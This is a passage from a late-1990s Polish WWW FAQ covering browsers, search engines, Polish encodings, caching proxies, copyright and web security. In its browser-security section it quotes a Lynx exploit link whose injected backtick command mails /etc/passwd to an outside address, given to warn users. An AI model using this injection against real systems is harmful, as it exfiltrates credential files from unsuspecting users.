źródłowym, więc to żadna szkoda) --- np. WML lub SSI. W przyszłości, po pełnym zaimplementowaniu (o ile to kiedykolwiek nastąpi) sensowne będzie użycie elementu _ Jest całkiem dużo przeglądarek działających w ,,gołym'' DOSie (przypominam, że poza MS-DOSem istnieją i inne systemy działające w tym trybie, np. Caldera OpenDOS --- wyposażony nie tylko w klienta NetWare ale i w stos TCP/IP i przeglądarkę WebSpyder ). Dostępna jest 16 bitowa wersja Lynxa a także czeska Arachene Najprostszą formą zaopatrzenia się w przeglądarkę jest zajrzenie do jednego z archiwów oprogramowania ,,sieciowego'': The Ultimate Collection of Winsock Software (mirror: SunSite.ICM) The CWSApps List Indeks Aplikacji Sieciowych dla Windows (mirror: Poznań) Papa's Anonymous FTP ftp://ftp.man.poznan.pl/pub/winsock-l/ i tam można znaleźć tak Netscape Navigatora /Communicatora, MS Internet Explorera, bardzo ostatnio popularną ze wzgledu na relatywnie duże możliwości i małe wymagania sprzętowe Operę jak i NSCA Mosaic i wiele, wiele innych. Godnym uwagi tworców stron WWW produktem (choć z przyczyn nie do końca dla mnie z zrozumiałych nie wymienianym w spisach) jest wytwór programistów W3C: Amaya implementująca HTML 3.2. wraz z CSS1 i dostępna na wiele różnych platform sprzętowo-systemowych. O ile UNIX i pochodne do tej pory dominują na rynku serwerów, to systemem przeglądarek stał się MS Windows. Tym nie mniej jest kilka wartościowych produktów. Takich jak: Arena (W3C i Yggdrasil) Amaya (W3C) (mirror na SunSite ICM) Netscape Navigator (mirror na SunSite.ICM) lub Netscape Communicator (od połowy lutego dostępny dla wszystkich za darmo) niezastąpiony Lynx (jest też mirror na SunSite.ICM) NSCA Mosaic Chimera MNEMONIC (Multilithic, Non-dependent, Extensible, Modular, Objective, Network-aware, Internet Client): w trakcie powstawania. QWeb --- oparta na bibliotece Qt przeglądarka SGMLa --- radząca sobie radę i z ordynarnym HTMLem. Gzilla W Polsce podstawowym archiwum jest ,,sansajt'' WWW-HOWTO Linux Applications --- WebBrowsers Ciężko... ciężko... Niestety daleki jestem od używania ,,makówek''. A szkoda. (Wszelkie oferty opisania narzędzi dla produktów Apple, oferty sprzętowe itd. mile widziane ;-))) ) Apple @ Tucows WWW FAQ Boutella WWW FAQ Boutella omawia i inne platformy Wyszukiwanie w informacji w pajęczynie nadal jest koszmarem z prasowej reklamy: zalew papierem i danymi... Pomagają w tym katalogi tematyczne, przeszukiwarki czy też specjalizowane usługi dostarczania informacji. Wirtualna Polska WOW! Onet PolishWorld oficjalna Polska Strona domowa (NASK) (po angielsku) oryginalna (i pierwsza) Polska Strona na info.fuw.edu.pl i światowe Yahoo WWW Virtual Library WebCrawler (skromny objętościowo, za to bardzo starannie opracowany) Galaxy EINET Lycos ICMowy serwer archie (PL) InfoSeek na ICM (PL) Netoscop (PL) istniejący w ramach serwisu sieciowego CHiPa InfoSeek DEC Alta Vista Telia (z opcjami po polsku) Lycos WebCrawler World Wide Web Worm OpenText Exite HotBot DOGPILE (za CW 17/1997) i inne ... :-) większość dostawców usług Internetowych dostarcza odp. formularzy do wyszukiwania na najpopularniejszych przeszukiwarkach. Panorama wyszukiwania w Internecie w Projekcie Winter Istnieje wiele różnych specjalizowanych w wyszukiwaniu i śledzeniu informacji serwisów. Często są one dostępne za darmo (czyli za przeczytanie załączonych reklam ;-). Należą do nich np.: Pointcast URL Minder czy dość szeroko spopularyzowane ,,Kanały Informacyjne'' oparte o technologię CDF Microsoftu.czy NetCaster Netscape Poza tym przy obecnym rozwoju pajęczyny stoimy już o krok od miejsca gdy każdy (no... każdy programujący w perlu ;-)) będzie w stanie przygotować własnego robota. Już w tej chwili można zaprząc do sprawdzania nowości odpowiedni program, np. urlmon zapuszczany w crontab, zaś używając ht://diga ściągać strony do lokalnego przeszukiwania. Dlatego też tak ważne jest, aby uczynić swoje produkty (dokumenty w HTMLu) bogatymi w ,,meta informacje'' --- przy pomocy PICS lub RDF . Osobną kwestią jest rozwój technologii WebCastingu --- kanałów tematycznych dostarczanych niejako ,,w całości'' do komputera odbiorcy i pozwalających na tworzenie sieciowych periodyków, uaktualnianych w określonych przedziałach czasu. Agent Related Web Pages The Agent Society Wyszukiwanie w Internecie @WInter Czasem jakiś odnośnik prowadzi donikąd, a zależy nam na dotarciu do porządanych materiałów tak bardzo, że jesteśmy gotowi poświęcić temu pięć do dwudziestu minut... Pierwszą rzeczą jaką w takim wypadku robię jest dodanie strony z informacją o błędzie do listy moich zakładek ,,do sprawdzenia''. Następnie testuję czy przejście katalog wyżej coś daje (może zasób został przeniesiony, a administrator zapomniał, nie chciał dać automatycznego przekierowania do nowej lokalizacji). Jeśli to nie działa równolegle wysyłam listy zapytaniem informacją do webmaster@maszyna.z.poszukiwanym.zasobem i postmaster@maszyna.z.poszukiwanym.zasobem (ten drugi adres jest jedynym jaki musi istnieć na maszynie posiadającej serwer SMTP) i rozpoczynam poszukiwania jakiegoś ekwiwalentu... W wypadku błędów w wykonywaniu programów po stronie serwera, ślę informację do webmaster@maszyna.ze.skryptem (inna rzecz, że jeśli widzę, że jest to NT z jakimś ASP to sobie odpuszczam). What to do when a URL doesn't work [w:] Peter Flynn The WorldWideWeb Handbook An HTML Guide for Users, Authors and Publishers International Thomson Computer Press, ISBN 1-85032-205-8 Dlaczego widzę krzaczki zamiast diakrytyki? Jest kilka możliwości rozwiązania tego problemu: Masz niewłaściwą przeglądarkę, tj. nie obsługującą polskich liter w standardzie ISO-8859-2. W miarę możliwości wymień ją na coś innego lub sprawdź czy nie można tego jakoś poprawić na Polskiej Stronie Ogonkowej Twoja przeglądarka obsługuje polskie literki, ale ty nic o tym nie wiesz. Np. nie ustawiłeś w opcji: Options|Document Ecoding|Central European (ISO-8859-2) i odpowiedniej czcionki w Options|General_Preferences|Fonts|Latin-2 Wina leży po stronie autora strony: ani w nagłówku HTTP: Content-type: text/html; charset=ISO-8859-2 (np. deklaracją w pliku /etc/mime.types ), ani w nagłówku strony przy pomocy komendy < META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-2"> lub choć < HTML LANG=PL> nie zadeklarował używanej strony kodowej ani polskości dokumentu. po ostatnich poprawkach poczynionych przy pomocy jakiegoś dziwnego edytora --- najczęściej typu: Zobaczysz_Coś_Innego_Niż_Inni --- wszystkie polskie literki zostały zamienione na tzw. ISO Latin-1 entitles (np. &#163; czyli &pound;) które są siedmiobitowymi mnemonikami dla znaków z zakresu 128-255 zestawu znaków ISO-8859-1 (czyli zachodnioeuropejskiego nie zaś używanego w Polsce środkowoeuropejskiego). wina leży po stronie autora strony: używa CP 1250 :-( lub jeszcze bardziej egzotycznego ,,standardu''. Sekcja: ogonki Polska Strona Ogonkowa W jaki sposób poprawnie serwować polskie dokumenty? Pawła Więcka Co problemy z ogonkami w Netscape Communicator 4.x.x.?y Michała Sobkowskiego From: W.Sylwestrzak@ICM.edu.pl Dlaczego? Przecież to oczywiste... ;-) Jednym ze skutków coraz gwałtowniejszego rozwoju usług WWW jest saturacja łącz sieci rozległych. O ile przepustowości łącz sieci lokalnych i miejskich są zwykle nadmiarowe, to łącza międzynarodowe (znacznie bardziej kosztowne) stanowią zazwyczaj wąskie gardła Internetu. Szybkość wzrostu zapotrzebowania na pasmo znacznie przekracza wszelkie możliwości inwestycyjne. Analiza ruchu wskazuje przy tym, że procentowo coraz większy udział stanowią w nim transmisje WWW. Polska, jako jeden z pierwszych krajów zbudowała strukturę tzw. cache WWW, która pozwala na lokalne buforowanie najczęściej żądanych dokumentów WWW, a tym samym: zmniejszenie obciążenia łącz międzynarodowych, skrócenie średniego czasu dostępu do informacji, zoptymalizowanie wykorzystania łącz krajowych. Hierarchia W3cache obejmuje wszystkie ważniejsze sieci miejskie oraz działa w bezpośredniej współpracy z podobnymi projektami poza Polską. W3cache wymienia także informacje z pojedynczymi serwerami cache tam, gdzie nie istnieją jeszcze struktury ogólnokrajowe. Przy czym użytkownicy takich ogólnopolskich sieci jak TPnet, lub Telebank powinni ustawić parametry swojego proxy cache na lokalny cache, a jeśli nie ma to na w3cache.ICM.edu.pl:8080 jako najbliższy ich sieciom, nie zaś na cache np. krakowskie. (choć ostatnio w związku z zaistnieniem naczelnego w3cache w PL w TPnecie, powstawaniem ,,lokalnych'' połączeń TPnetu z NASKnetem (np. w Krakowie) sytuacja się zmienia). Propagation, Caching and Replication on the Web W3cache w Polsce - serwis informacyjny W3cache @ ICM W naszej sytuacji, gdy łącząc się linią telefoniczną za każde trzy minuty połączenia trzeba zapłacić (bagatela) 21 groszy coraz istotniejsze stają się metody zmniejszania kosztów, przez gromadzenie dokumentów na dyskach lokalnych. Jest to najprostsza (koncepcyjne ;-) metoda pracy. Można specjalizowanym programem kopiować pliki gromadzone przez przeglądarkę --- w Netscape Navigator w katalogu Cache lub w IE`95 w c:\windows\Temporary Internet Files do innych katalogów (tworząc przy okazji indeksy). Unmozify na Windowsowej Netscape (tak 3.1 jak i 32bit). IE lub NN Cache Explorer Marcusa Wolfa dla Windows 95. about:cache w prawie każdym Netscape Navigatorze. NSCA Mosaic potrafi prawie wszystko co funkcjonalna przeglądarka powinna robić, ma więc i wbudowane narzędzia do eksploracji cache. Na pierwszy rzut oka jest to wyśmienity pomysł: zatrudnić kogoś, coś do wykonania za nas w roboty w czasie najmniejszego obciążenia sieci, pozwalając nam przejrzeć wyniki szukania w wolnej chwili. Ale (o ile używa się robota stosującego się do robot exlusion standard --- a innych nie warto nawet uruchamiać) rozwiązanie to ma swoją wadę: do wielu części nie rozmaitych serwerów masz dostępu --- np. do wyniku działania katalogu /cgi-bin/ webcopy --- w Perlu wget ftp://gnjilux.cc.fer.hr/pub/unix/util/wget/ (z Chorwacji, ale serwer jest dość słaby więc transmisja potrafi długo trwać) i we wszystkich archiwach GNU --- potrafiący działać tak przy użyciu HTTP/1.1 jak i FTP. (źródła i binaria dostępne na większość platform systemowych (w tym MS Windows)). Lynx powyżej 2.6 ponoć to potrafi... lynx -source -traversal URL lub lynx -crawl -traversal URL SurfBot dla Windows Teleport Pro Version 1.13 for Windows 95/NT (ponoć najlepszy w tej kategorii) WebWracker i Grab-A-Net z ForeFront (kopia z Tucows) Mosaic potrafi i to... Rozwiązanie to należy do wymagających trochę większego doświadczenia, ale też daje (zwłaszcza w powiązaniu z przeszukiwaniem dokumentów) największe możliwości tak wzbogacenia form pracy (np. WWWOFLE może pełnić i rolę robota) jak i zaoszczędzenia (wspólne zasoby dla wszystkich komputerów, możliwość monitorowania najczęściej uczęszczanych miejsc, w przeciwieństwie do części robotów zachowuje (i utrzymuje) powiązania między dokumentami w sieci i na dysku. WWWOFFLE --- World Wide Web Offline Explorer --- Linux/Unix --- dedykowany dla współużytkowania linii telefonicznej (wraz z diald ) przez kilka komputerów w sieci --- pozwala przy tym pobierać w czasie połączenia dokumenty żadane w czesie ,,bycia off-line''. Squid --- Linux/Unix. Harvest Project --- Linux/Unix. WinGate --- Win32. W3cache w Polsce - serwis informacyjny Czy przeglądając WWW mogę narazić się na zniszczenie zawartości dysku, bądź inną formę destabilizacji pracy komputera? Niestety tak ;-(. A poważnie: o ile masz wyłączoną Java`ę, ActiveX, VBScript, JavaScript, pracujesz za dobrze skonfigurowanym firewallem (najlepiej pośredniczącym --- proxy, albo za filtrem pakietów z odrzucaniem połączeń ICMP, NetBIOS over TCP, RCP) i nie ładujesz plików z danymi zawierającymi makroinstrukcje, PostScript oraz programów --- prawdopodobnie nic się nie stanie. Tylko, że mało kto tak robi ;-). W pozostałych wypadkach: pliki MS Worda, MS Excella (i innych programów mogących zawierać makroinstrukcje) i programy --- wiadomo powszechnie --- mogą być zakażone tzw. wirusami lub mogą być tzw. koniami trojańskimi i to nie zależy od medium przesyłowego. Zalecana jest wobec danych zewnętrznych (zwłaszcza w postaci binarnej) daleko posuniętą ostrożność: ściągany plik należy sprawdzić najświeższą posiadaną wersją programu antywirusowego, w wypadku programów warto zdobyć ,,oficjalne'' sumy kontrolne ściągniętego pliku i porównać je z posiadaną kopią. PostScript , TeX są (czego nie wszyscy są świadomi) normalnymi programami i jak wszystkie programy mogą zawierać niebezpieczne operacje, które pewne przeglądarki/programy przeznaczone od ich przetwarzania mogą próbować wykonać: kasowanie plików albo zmiana hasła lub ustawień drukarek. Java jest specyficznym środowiskiem, teoretycznie nie mogącym wydostać się poza izolowaną od systemu Java Virtual Machine funkcjonującą (przy przeglądaniu WWW) w przeglądarce. Jednak implementacja specyfikacji (nota bene wg ,,Java Security: From HotJava to Netscape and Beyond'' by Drew Dean, Edward Felten i Dan Wallach wymagającą pewnego przeprojektowania) nie jest zadaniem łatwym. Wkrótce po ,,przeglądarkowej'' premierze Java`y ujawniono kilka spektakularnych błędów: możliwość kasowania plików użytkowników z dysku (w wersjach 2.0 i 2.01 Netscape Navigatora) możliwość nadmiernego zużycia czasu procesora (efektem czego może być uniemożliwienie działania systemu) możliwość wykonania połączenia z dowolnym (nie zaś jedynie z tym z którego pobrano applet) hostem w sieci (co w połączeniu z relacjami zaufania z r-utills może być niebezpieczne dla całej organizacji potencjalna możliwość (usunięta po jdk 1.1.) przełamania przez bytecode restrykcji Java Security Managera Przy czym rozprowadzane w tej chwili przeglądarki są prawdopodobnie wolne od wymienionych błędów. RFC 2504 Users' Security Handbook. Guttman, L. Leong, G. Malkin. February 1999. (Format: TXT=74036 bytes) (Also FYI0034) (Status: INFORMATIONAL) Frequently Asked Questions about Applet Security. Java Security: Frequently Asked Questions. The Unofficial Answers from the Princeton Secure Internet Programming Team Gary McGraw and Edward Felten Java Security: Hostile Applets, Holes and Antidotes argumentem za wyłączeniem JavaScript jest nie ochrona integralności systemu jak w wypadku Java czy ActiveX a raczej prywatności . I tak np. Netscape Navigator 4.x (do 4.0.5) pozwalał na odczytanie zawartości preferences.js zdradzając informacje o preferencjach użytkownika, o jego serwerach i adresach, a także hasłach (z POP3 i IMAP) --- bardzo często tożsamych z używanymi w sieci lokalnej. Dalej, w IE 4.0. zaistniała możliwość podejrzenia części plików na komputerze użytkownika. Pojawiły się ostrzeżenia o możliwościach naruszenie prywatności przez ingerowanie w historię oglądanych w czasie bieżącej sesji stron, a także możliwość swoistego Denial of Service w formie rekurencyjnego mnożenia ramek (co w wypadku IE 4.0. jest możliwe i bez JavaScript). JavaScript CERT Advisory istnieje coś takiego jak trusted hosts co pozwala wykonywać polecenia wydawane ze zdalnego komputera na lokalnym. Poza tym możliwe jest (było do wersji 2.7.1 włącznie) manipulowanie częścią z typowych tylko dla tej przeglądarki URLi: < a href="LYNXDOWNLOAD://Method=-1/File=`mail%20crakers@org.com.pl%3C/etc/passwd`/SugFile=test"> CLICK HERE < /a> próbuje (zwykle skutecznie) wysłać plik z hasłami z lokalnej maszyny na konto crakers@org.com.pl nie posiada poza systemem podpisów pod kontrolkami żadnych mechanizmów zabezpieczających przed dostępem do danych na dysku. Twórca wrogiej kontrolki (którą nieświadomy niczego użytkownik zaakceptuje jako przydatną) jest w stanie zrobić niemal wszystko z naszym systemem. W obiegu jest kilka przykładów tej technologii: Exploder (podpisana, i certfikowana kontrolka, wykonująca zamknięcie systemu), czy wrogie , pochodzące z Computer Chaos Club z Hamburga (jedna z nich ,,dobierała się'' do składowanych na dysku danych programu do finansów osobistych Quicken poprzez przeglądarki działające na MS Windows wszelkiej maści możliwe jest pozyskanie identyfikatora użytkownika, hasła, oraz innych parametrów przekazywanych w ramach autentyfikacji SMB aka NetBIOS over TCP/IP Jedyną sensowną receptą na tę formę obrony jest zastosowanie filtra pakietów na routerze brzegowym (obcinając na wyjściu porty 135, 137 i 139). (Wydaje się, że wersja 4.01. Internet Explorera ma opcje pozwalające na wyłączenie autentyfikacji przy pomocy SMB (domyślnie ustawione na disabled --- po wstępnych testach stwierdzam, że nie funkcjonującą, lub wyłączającą coś innego)). http://www.ee.washington.edu/computing/iebug/ Bezpieczeństwo Lincoln D. Stein WWW Security FAQ. 9. Client Security Kevin McCurley Security issues for the world wide web Błędy w MS Internet Explorer Section 6: JavaScript Security [w:] DEVEDGE NEWSGROUP FAQ: JavaScript @ Netscape Przetestuj swoją przeglądarkę @ Permision Denied Inc. Przez prawo do prywatności (privacy) rozumiem ochronę wszelkich danych osobowych nie wymaganych do prawidłowego działania sieci. Nie muszę nikomu (jeśli nie chcę) udostępniać informacji na temat mojego miejsca pracy, przekonań politycznych, płci, wyznania (a gromadzenie części z tych danych jest w polskim prawodawstwie zakazane). Nie widzę również powodu by, ktokolwiek bez mojej zgody gromadził (zwłaszcza jeśli potem zamierza ją udostępniać) informację o tym jakiego jaką ścieżką trafiłem do jego serwisu, jakiej przeglądarki używam, z jakiego komputera pracuję (i tak dalej). Lecz z drugiej strony nikt i nic (żaden akt prawny, żaden sąd) nie ochroni mnie jeśli ja sam nie będę się chronił. Dlatego jeśli nie chcę by ktoś czytał moją korespondencję szyfruję swoje listy, jeśli zaś nie chcę udostępniać informacji o swoim środowisku pracy wyłączam odpowiednie opcje w przeglądarce, w MUA (i w innych istotnych miejscach). Najprościej wyłączyć wszelkie ,,dziwne'', funkcje własnej przeglądarki: Java JavaScript VBScript Cookies wysyłanie adresu e-mail jako hasła do anonimowego FTP... i działać zza serwera W3Cache/WebProxy. Przy czym już samo skrycie się za dostępnymi publicznie serwerami W3cache pozwala zniekształcić informacje na temat komputera przy którym pracujemy przy zachowaniu reszty funkcjonalności... Jeśli to nie wystarcza można ustawić lokalny ,,anonimujący'' serwer proxy np. squid posiada opcję http_anonymizer pozwalającą na usuwanie części pól z nagłówków HTTP. Można także używać (udostępnianych jako demonstracja technologii) rozmaitych ,,anonizerów'' pozwalających anonimowo wypełniać formularze. Osobną kwestią, nie związaną z nawigacją po pajęczynie (dlatego opisaną w innym dokumencie) jest pytanie jak chronić się przed spamem czyli nie zamawianymi przesyłkami komercyjnymi... Ustawa z dnia 29 sierpnia 1997 r. o ochronie danych osobowych (Dz. U. nr. 133 poz 211, z późniejszymi zmianami) Steve Arbuss ,,Your Own Web - Privacy'' Electronic Frontier Foundation Electronic Privacy Information Center Privacy Overview @ W3C Arnoud Engelfriet. Anonymity and privacy on the Internet Lincoln D. Stein ,,Anonimowe zasługi'' [w:] Internet Developer 4/98 (oryginał w WebTechniques February 1998 (vol 3. iss. 2)) anonymizujący serwer proxy Lucent Personalized Web Assistant (pozwala na anonimowe wypełnianie formularzy) NSClean, IEClean --- modyfikują dane wprowadzone przez użytkownika do przeglądarki (Win32) The Internet Junkbuster samodzielny, anonymizujący i filtrujący (cokies) serwer proxy WebFilter (poprzednio NoShit) --- rozszerzenie CERN httpd o możliwość filtrowania określonych klas obiektów (cookies, animowane GIFy, ActiveX...) Tak. W MS Windows NT istnieją (skromne, bo skromne) możliwości definiowania własności profili użytkowników przy pomocy Policy Editor --- potrzebne do tego są dodatkowe szablony pochodzące z pakietu Zero Administation Kit --- a poza tym IE Administation Kit pozwalający stworzyć własną wersję instalacyjną IE (wraz z predefiniowanymi serwerami poczty, w3cache itp). Nie da się. Można co prawda pobrać z Polska Strona Ogonkowa polskie fonty i ustawić je jako domyślne ale nie jest to prawidłowe rozwiązanie. Niestety należy poczekać, aż jej twórcy zauważą fakt istnienia innych niż zachodnioeuropejskich zestawów znaków. Netscape Navigator nie jest niestety produktem moich marzeń. Ma zbyt wiele braków: brak pełnej implementacji CSS i HTML 4.0. niemożność szeroko pojmowanej konfiguracji (tak różnych form preinstalowania, tworzenia wersji ,,firmowych'' jak i ustawiania różnych parametrów wydruków i wyświetlania) Może zmieni to fakt upublicznienie jego kodów źródłowych. użyć dostępnego na SunSite wrappera podmieniającego biblioteki na starsze wersje. Sam chciałbym to wiedzieć. Na razie można zapoznać się jedynie z Netscape Communicator FAQ W tej chwili jest dostępny w wersji standard dla wszystkich za darmo. Dodatkowo dostępne są (na zasadach podobnych do licencji GNU) kody źródłowe jego ,,przyszłej'', piątej wersji, co spowodowało (niespełna miesiąc po ich opublikowaniu) powstanie kilku niezależnych od Netscape implementacji m.in. uniksowy QtScape oparty o Qt w miejsce standardowego Motifa _ Aby móc publikować potrzeba odpowiedniego typu konta: najlepiej na komputerze gdzie jest zainstalowany serwer httpd ;-). W wypadku dostawców komercyjnych należy wykupić odpowiednią usługę. Na większości uczelni istnieje możliwość założenia własnej strony i to często nawet bez ingerencji administratora --- zazwyczaj (serwer Apache i zgodne) należy założyć w swoim katalogu domowym podkatalogu public_html lub www (jest to ustawialne w pliku srm.conf dyrektywą UserDir lub podobną. Istnieje także kilka serwerów komercyjnych umożliwiających publikowanie materiałów niekomercyjnych bez wnoszenia opłat. Istnieją też serwery umożliwiające ,,darmowe'' usługi: e-mail i nie komercyjne publikowanie na WWW. Darmowe tzn. nie płacisz firmie, ale za to firma może udostępniać (lub w inny sposób wykorzystywać) Twój adres i fragmenty stron innym (co powoduje np. zalew śmieciem reklamowym). Free.PolBox.pl Friko @ Onet.pl HotMail Geocities Darmowe usługi w/g Pawła Więcka Intern@uta: WWW za darmo lista dostawców Internetu Jarka Rafy (IAP) ISP w Polsce @ Biz.Net Lista providerów Tomka Kokowskiego Należy przyjąć, że (przynajmniej w wypadku polskich stron) obowiązują przepisy Ustawy o prawie autorskim i prawach pokrewnych z 04.02.1995 Przy czym (na podstawie art. 1 punkt 1 i punkt 2 ustawy i umów międzynarodowych podpisanych przez Polskę takich jak konwencja berneńska), o ile autor nie zaznaczył inaczej wszystkie strony są domyślnie traktowane jak opatrzone znakiem (C) (co jest amerykańskim wymysłem) i można podawać do nich odniesienie, nie można natomiast ich wykorzystywać we własnej pracy (tj. treści powiązanej z formą, ponieważ ,,czystej'' informacji to już nie dotyczy) bez zgody (najlepiej pisemnej) autora (właściciela majątkowych praw autorskich). Ochronie podlegają również znaki firmowe (lecz można ich użyć w celach informacyjnych). Nie można jednak popadać w przesadę: ze względu na rodzaj medium nie można domagać się pełnej integralności i nienaruszalności dzieła: nie można zakazać kopiowania dokumentu w jakiejkolwiek formie (wystarczy, że przeglądarka musi ściągnąć dokument na komputer lokalny). Nie można domagać się by dokument zachował swą integralność i identyczność graficzną (bo nie możemy wymagać był oglądany w zadanych ustawieniach przeglądarki jeśli np. został przeskanowany przez robota albo jest interpretowany przez przeglądarkę dla niewidomych (np. z syntezatorem mowy). Janusz Barta, Ryszard Markiewicz ,,Internet a prawo''. Kraków TAiWPN Universitas 1998, ISBN 83-7052-860-0 ss. 112-243 Świat Wiedzy 9/96 Copyright FAQ HWG Trademarks and Copyrights Frequently Asked Questions (prezentujące amerykański punkt widzenia) Brad Templeton 10 najczestszych, mylnych pogladow o prawie autorskim Tłumaczenie: Adam Morawiec ,,Ustawa z dnia 4 lutego 1994 r. o prawie autorskim i prawach pokrewnych'' [w:] Dziennik Ustaw nr 25 poz 83, z późniejszymi zmianami ,,Ustawa z dnia 26 stycznia 1984 Prawo Prasowe'' [w:] Dziennik Ustaw nr 5 poz 24, z późniejszymi zmianami Krzysztof Jakubski InetDev ,,Twórcom www ku przestrodze'' Przyjmuje się, że za treść przekazu, odpowiada podmiot rzeczywiście go udostępniający, content provider (w tym również normalny użytkownik na swojej ,,stronie domowej''), nie zaś ISP, czy wręcz operator telefoniczny. Podstawowe niebezpieczeństwo to naruszenie praw autorskich, jednak należy liczyć się z konsekwencjami innych ,,nietypowych'' dla tego medium czynów naruszających prawa osobiste osób fizycznych i prawnych (np dobre imię), włącznie z odpowiedzialnością za czyny kryminalne (takie jak rozpowszechnianie pornografii). Istotnym problemem dla rozpatrywania odpowiedzialności podmiotu jest także zakres działań. Część z działalności prowadzonej w sieci może odpowiadać zakresowi ustaw o zwalczaniu nieuczciwej konkurencji (np. działalność reklamowa) ochronie danych osobowych (spis telefonów do znajomych, a już na pewno baza adresowa) prawu prasowemu (gdy dane strony mają charakter periodyku) Janusz Barta, Ryszard Markiewicz ,,Internet a prawo''. Kraków TAiWPN Universitas 1998, ISBN 83-7052-860-0 ss. 212-243 Ustawa z dnia 4 lutego 1994 r. o prawie autorskim i prawach pokrewnych (Dziennik Ustaw nr 24 poz 83, z późniejszymi zmianami) Ustawa z dnia 29 sierpnia 1997 r. o ochronie danych osobowych (Dz. U. nr. 133 poz 211, z późniejszymi zmianami) Ustawa z dnia 16 kwietnia 1993 r. o zwalczaniu nieuczciwej konkurencji (Dz. U . nr. 47, poz 211, z późniejszymi zmianami) Ustawa z dnia 31 stycznia 1985 r. o znakach towarowych (Dz. U. nr. 5 poz 17 z późniejszymi zmianami). Prawo i komputery. Internetowy magazyn prawniczy Nie wydaje mi się by celowe było normalizowanie w tym FAQ używanej terminologii. Rynek wydawniczy rozrasta się w wielkim tempie, wydaje się nowe pozycje o pajęczynie. Został wykonany przekład Internet Explorera. Słownictwo to (niezbyt mi się podoba) jakoś się już przyjęło. Otwartą kwestią pozostaje słownictwo zastosowane przez zespół przygotowujący nową wersję Netscape Navigatora. grupa pl.comp.tlumaczenia słownik terminologii informatycznej grupy pl.comp.tlumaczenia słowniki ,,lokalizacyjne'' stosowane przez Microsoft Słownik J. Chroboczka (ang-pol.) SŁOWNIK KOMPUTEROWY ANGIELSKO-POLSKI opracowali WITOLD BROSTOW i GABRIEL J. BROSTOW W jaki sposób mogę tworzyć poprawne strony z polskimi znakami diakrytycznymi? Przede wszystkim należy używać 8 bitowego kodowania w ISO-8859-2 (na podstawie punktu 3. RFC 2047 --- ``Internationalization of the Hypertext Markup Language'') Jeśli masz większe potrzeby niż może Ci zaoferować ISO-8859-x i MIME rozwiązaniem może być UNICODE (a zwłaszcza jego ośmiobitowe kodowanie --- UTF-8). Poza tym jeśli nie jesteś administratorem (oraz masz ograniczony dostęp do opcji konfiguracyjnych serwera --- np. w postaci .htaccsess na Apache --- i nie możesz spowodować, żeby serwer dodawał do nagłówka stron z polskimi literami deklaracji typu dokumentu: Content-Type: text/html; charset=iso-8859-2 należy dodać w nagłówku strony (pomiędzy < HEAD< i < /HEAD< , a w miarę możliwości przed < TITLE< ) następującą instrukcję: < META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-2"> Nie jest to rozwiązanie najbardziej eleganckie: powoduje (na niektórych serwerach i z niektórymi przeglądarkami (np. stary Netscape Navigator ) dwukrotne interpretowanie zawartości dokumentu, nie jest w pełni uwzględnione w specyfikacji HTML. Tym nie mniej dopóki nie doczekamy się (bądź, sami nie przyczynimy się ;-) do uznania przez grona normalizacyjne i producentów oprogramowania faktu, że w WWW stosuje się i inne, poza anglosaskim zestawy znaków, pozostaje nam stosowanie półśrodków. Jeśli używasz już HTML 4.0. warto abyś do znaczników < HTML> i < Body> dodał atrybut LANG="pl" --- nie jest on jeszcze szeroko wykorzystywany, ale czas najwyższy by zacząć go używać dla odróżniania dokumentów w różnych językach. Osobną sprawą jest udostępnianie dokumentów wielojęzycznych. W takich wypadkach należy dobrać najmniejszy z zestawów znaków obejmujących docelowe potrzeby... Np. w wypadku języka polskiego i niemieckiego będzie to ISO-8859-2 (ew. z SGML ISO-Latin-1 entitles), zaś w wypadku Cyrylicy będzie to (niestety) Unicode (tu zalecałbym stosowanie kodowania UTF-8). Standardy: Wielojęzyczność Polska Strona Ogonkowa Apache --- wielojęzyczny serwer w/g Pawła Więcka Każdy format plików jest dobry, o ile spełnia swój cel: dotarcie z informacją do odbiorcy. Ale trzeba pamiętać o tym, aby udostępniane dane nie były ograniczone tylko do jednej platformy sprzętowej/systemowej. I dlatego nie należy używać surowych plików MS Worda czy QuattroPro. Warto je przełożyć na jakiś powszechnie uznany format taki jak PostScript, RichTextFormat, PDF, HTML. Jeśli nie jest to możliwe? W takim razie należy dodać odpowiednie deklaracje MIME types serwera. Oznaczenia typów plików znajdują się w comp.mail.mime FAQ Dla ambitnych, lub może raczej dla tych którzy dysponują odpowiednio bogatym zapleczem by przygotowywać kilka wersji pliku interesująca może się okazać możliwość wielowarianowego dostarczania dokumentów w różnych formatach w zależności od zawartości nagłówka HTTP: Accept: Tomek Piłat Apache: Negocjacje zawartości. [w:] GazNETa #2 Jest to podstawowe pytanie przy rozpoczynaniu jakiejkolwiek działalności, zwłaszcza tej ,,informatycznej'': w jakim stopniu niezbędne usługi wykonywać we własnym zakresie, a w jakim powierzać ich wykonanie wyspecjalizowanym podmiotom... O ile proces tworzenia INFORMACJI która ma być ,,wyemitowana'' powinien odbywać się wewnątrz przedsiębiorstwa, to już bardzo często lokalne zasoby nie wystarczają do tego by samemu, profesjonalnie zaplanować strategię przekazu, jego formę. Podobnie rzecz się ma z infrastrukturą. rozdzielenie ,,publicznej'' części zasobów informatycznych firmy od jej wewnętrznej, kluczowej dla funkcjonowania części (podobnie jak rozdzielenie ruchu przychodzącego, inicjowanego na zewnątrz od ruchu wychodzącego). zmniejszenie kosztów administracji (u ISP jeden wyspecjalizowany webmaster może zajmować się większą ilością serwisów podczas gdy w wypadku lokalnego serwera spada to na głowę administratora sieci lokalnej). zwiększenie bezpieczeństwa sieci lokalnej --- w wypadku udostępniania jakichkolwiek usług na zewnątrz gwałtownie rośnie ryzyko ataku wyeliminowanie lokalnych administratorów z procesu tworzenia serwisu WWW (dla niektórych może być to wada) większe możliwości kontroli nad ,,dziełem'' brak istotnych ograniczeń przestrzeni dyskowej możliwości nieformalnego wykorzystania przez pracowników (co może nadać firmie bardziej ,,ludzki'' wymiar) Aby rozreklamować własne osiągnięcia nie trzeba od razu zalewać całego UseNetu spamem. Wystarczy jeśli ogłosisz informację o swojej stronie na grupie pl.comp.www.nowe-strony lub jeśli jest to usługa większego kalibru na moderowanej pl.internet.nowosci Pod żadnym pozorem nie ogłaszaj się na pl.internet.komunikaty --- służy ona do ogłaszaniu komunikatów o działaniu istotnych usług sieci takich jak routery sieci szkieletowej. Kolejnym elementem Twojej strategii promocyjnej nie powinno być ponowne wysyłanie ogłoszenia, lub co gorsza wysyłanie jej na nie przeznaczone do tego celu grupy, 